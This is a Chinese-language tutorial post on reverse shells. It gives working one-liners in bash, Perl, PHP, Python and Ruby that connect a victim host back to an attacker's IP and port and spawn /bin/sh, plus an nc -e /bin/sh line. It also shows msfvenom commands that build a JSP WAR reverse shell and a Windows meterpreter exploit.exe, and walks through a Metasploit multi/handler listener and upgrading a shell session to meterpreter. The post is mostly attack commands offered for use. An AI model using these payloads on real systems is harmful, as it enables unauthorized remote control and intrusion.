複習 Revershell:在受害主機啟動連線 shell,連接回攻擊主機(會預先監聽 port),
上一篇提到 shell 利用 -e 在連線的時候啟動 cmd.exe 或是 /bin/sh,也可以透過 bash、python、PHP。
bash Reverse shell
攻擊主機:nc -lvp 4444
受害主機:bash -i >& /dev/tcp/[攻擊機IP]/[攻擊機Port] 0>&1
Linux 系統將標準輸入、輸出分成三個:
bash -i
構造可互動式的連線>&
標準輸出與標準錯誤輸出重新導向到透過 TCP 連線的目標0>&1
將標準輸入重新導向到標準輸出,也就是將攻擊者傳來的指令,於受害者機進行執行Perl Reverse shell
受害主機如果有安裝 Perl 可以執行以下的指令。
perl -e 'use Socket;$i="[攻擊機IP]";$p=[攻擊機Port];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
-e
執行後面的指令PHP Reverse shell
受害主機如果有安裝 PHP 可以執行以下的指令。
php -r '$sock=fsockopen("[攻擊機IP]",[攻擊機Port]);exec("/bin/sh -i <&3 >&3 2>&3");'
或是有 PHP 撰寫的網站後台,可執行 PHP 程式語言,可利用以下的 function。
$sock=fsockopen("[攻擊機IP]",[攻擊機Port]);exec("/bin/sh -i <&3 >&3 2>&3");
python Reverse shell
受害主機如果有 Python,也可以執行以下的指令。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[攻擊機IP]",[攻擊機Port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Ruby Reverse shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[攻擊機 IP]","攻擊機port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'c=TCPSocket.new("[攻擊機IP]","攻擊機port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
可以產生有用的 payload (.exe, .aspx, .war, .py)提供給攻擊者上傳到受害環境。
標準語法
msfvenom -p <PAYLOAD> <OPTIONS>
參數 | 說明 |
---|---|
-p |
指定 payload |
-f |
指定輸出格式 |
-o |
指定輸出名稱 |
LHOST |
指定攻擊主機的 IP |
LPORT |
指定攻擊主機的 port |
payload 格式<OS>/<arch>/<payload>
查看payloadsmsfvenom --list payloads
製作 jsp WAR Reverse shell
WAR 只得是 Web Application Resource 或 Web application ARchive
也就是可以部屬在 Apache Tomcat 服務中的壓縮檔案
該 War 可建立 .jsp 檔案的 WAR,jsp 為 Java Server Pages,類似 .php 或 .asp。以程式語言 java 為後端的網站,透過 Apache Tomcat 伺服器軟體執行。
以下的指令是透過 msfvenom 產生一個 payload 是 java/jsp_shell_reverse_tcp
並指定攻擊機 IP 與 PORT,輸出檔案格式為 war,最後將產生的 binary 輸出於根目錄中的 tmp 資料夾,檔案名稱為 shell.war
。
msfvenom -p java/jsp_shell_reverse_tcp LHOST=[攻擊機IP] LPORT=[攻擊機PORT] -f war > /tmp/shell.war
Windows binary reverse shell
針對受害主機如果為 Windows 也可以透過以下指令以目標 x86 Winodws Payload 為 windows/meterpreter/reverse_tcp
並指定攻擊機 IP 與 PORT,輸出檔案格式為 exe,最後將產生的 binary 輸出於根目錄中的 tmp 資料夾,檔案名稱為 exploit.exe
。
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=攻擊機port -f exe -o /tmp/exploit.exe
要在攻擊主機開啟 msfconsole 監聽 port,以下為流程:
Metasploit 工具中的 multi/handler 模組,可以用來接收反彈的 shell ,比 netcat 和 socat 連線較穩定,通常用 use auxiliary/multi/handler
之後,進行額外的設定,如設定 PAYLOAD 、Listen IP、Listen port 等。
msfconsole
use exploit/multi/handler
multi handler
set payload windows/meterpreter/reverse_tcp
set lhost 攻擊機IP
set lport 攻擊機port
run
[*] Started trverse TCP handler on 攻擊機IP:攻擊機port
表示已經開始監聽。exploit.exe
[*] Command shell session 1 opemed (攻擊機IP:攻擊機port -> 受害主機IP:隨機受害主機 port) at 2021-10-07 23:43:45 +0800
表示 Metasploit 已經收到來自受害主機的 Shell,此時可以執行指令。msf exploir(handler)
可執行以下的指令,確認目前正在背景執行的連線,稱為 job:
jobs
jobs -K [job id]
jobs -h
Bash to Meterpreter shell
如果受害目標使用 bash 進行反向 shell,我們一樣可以透過 Meterpreter。
攻擊主機設定 msfconsole,並進行監聽:
msfconsole
use exploit/multi/handler
multi handler
set payload linux/x86/shell_reverse_tcp
set lhost 攻擊機IP
set lport 攻擊機port
run
bash -i >& /dev/tcp/[攻擊機IP]/4444 0>&1
nc [攻擊機IP] 4444 -e /bin/sh
Background session 1? [y/N]
,此時輸入 y,讓目前連線在背景執行。也可以執行 background
,要確認目前連線可透過剛剛提到的 jobs
確認。shell_to_meterpreter
升級,讓我們連線功能更多與更穩定。
sessions -u [session id
],優點在於自動執行模組內容,具體方法如二種方法。use post/multi/manage/shell_to_meterpreter
set session 1
查看 session 列表sessions
跟指定的 session 互動session -i [session ID]
`